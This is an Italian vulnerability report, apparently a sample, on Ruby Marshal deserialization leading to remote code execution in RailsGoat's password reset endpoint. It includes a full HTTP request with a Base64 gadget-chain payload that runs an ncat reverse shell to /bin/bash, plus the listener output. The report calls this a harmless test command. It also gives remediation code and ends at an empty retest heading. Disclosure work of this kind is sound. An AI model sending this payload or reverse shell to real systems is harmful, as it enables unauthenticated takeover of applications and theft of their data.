Com’è fatto il report che ricevi.

Panoramica

Il flusso di reset della password accetta dal client il parametro user, lo decodifica da Base64 e lo passa direttamente a Marshal.load. Poiché Ruby Marshal può ricostruire grafi di oggetti arbitrari, un attaccante remoto può fornire un oggetto appositamente costruito e provocare l’esecuzione di comandi con i privilegi del processo Rails.

Prerequisiti dell’attacco

Endpoint raggiungibile via rete; nessuna autenticazione richiesta. L’attaccante deve solo ottenere una richiesta valida del flusso di reset e sostituire il campo serializzato prima dell’invio.

Dettagli

Percorso di attacco verificato nell’ambiente RailsGoat isolato:

Codice interessato app/controllers/password_resets_controller.rb:6; app/views/password_resets/reset_password.html.erb:12

1. Il form di reset serializza l’oggetto utente con Marshal.dump, lo codifica in Base64 e lo inserisce nel campo nascosto user, trasferendo al browser un oggetto che il server considera attendibile.
2. La richiesta POST /password_resets consente di sostituire il valore del campo user con un payload Marshal controllato dall’attaccante.
3. Il controller esegue Marshal.load(Base64.decode64(params[:user])) senza validazione dell’integrità o restrizioni sui tipi deserializzabili.
4. Una gadget chain basata su ERB e ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ha eseguito un comando di prova non distruttivo sul server, confermando il controllo del processo applicativo.

Evidenza HTTP

POST /password_resets HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 351

user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=x

HTTP/1.1 302 Found
Location: /login

$ ncat -lvp 1234 -k
Connection from 127.0.0.1.
whoami
perspican

Un attaccante non autenticato può eseguire comandi nel contesto dell’applicazione Rails. Questo consente potenzialmente di leggere o modificare dati e segreti applicativi, alterare il servizio, muoversi verso risorse raggiungibili dal processo e interrompere l’applicazione. L’effettiva estensione oltre il container o l’host dipende dai privilegi e dalla segmentazione dell’ambiente di deploy.

Impatto sul business

La compromissione del processo applicativo può interrompere il servizio, esporre dati degli utenti e richiedere rotazione delle credenziali, analisi forense e comunicazioni agli stakeholder. Per un asset esposto, il rischio operativo è incompatibile con il rilascio.

Valutazione

L’attacco è raggiungibile via rete, non richiede autenticazione né interazione della vittima e, una volta costruito il payload, ha bassa complessità operativa. L’esecuzione di codice compromette completamente riservatezza, integrità e disponibilità nel contesto del processo Rails. La valutazione considera i privilegi del processo applicativo, non privilegi aggiuntivi sull’host.

Raccomandazione

Rimuovere la deserializzazione dal percorso di reset e sostituirla con un token opaco generato dal server. Il controller deve creare un token casuale, conservarne solo l’hash insieme a identità e scadenza, quindi inviare al browser esclusivamente il valore opaco. Alla conferma, cercare il token sul server, verificare scadenza e integrità, consumarlo in modo atomico e rifiutare ogni valore mancante o riutilizzato. Aggiornare il form per non serializzare più l’oggetto utente. Aggiungere test di regressione per payload Marshal arbitrari, token scaduti, token riutilizzati e mismatch tra token e utente.

# app/controllers/password_resets_controller.rb:6
# remove: user = Marshal.load(Base64.decode64(params[:user]))
token = SecureRandom.urlsafe_base64(32)
PasswordResetToken.issue!(user: user, token_digest: Digest::SHA256.hexdigest(token), expires_at: 15.minutes.from_now)
redirect_to reset_password_path(token: token)

# app/views/password_resets/reset_password.html.erb:12
# submit only the opaque token; never Marshal.dump the user object

# confirmation endpoint
reset = PasswordResetToken.consume!(params[:token])
return head :unprocessable_entity unless reset
# set the new password only after consume! succeeds

Risultato retest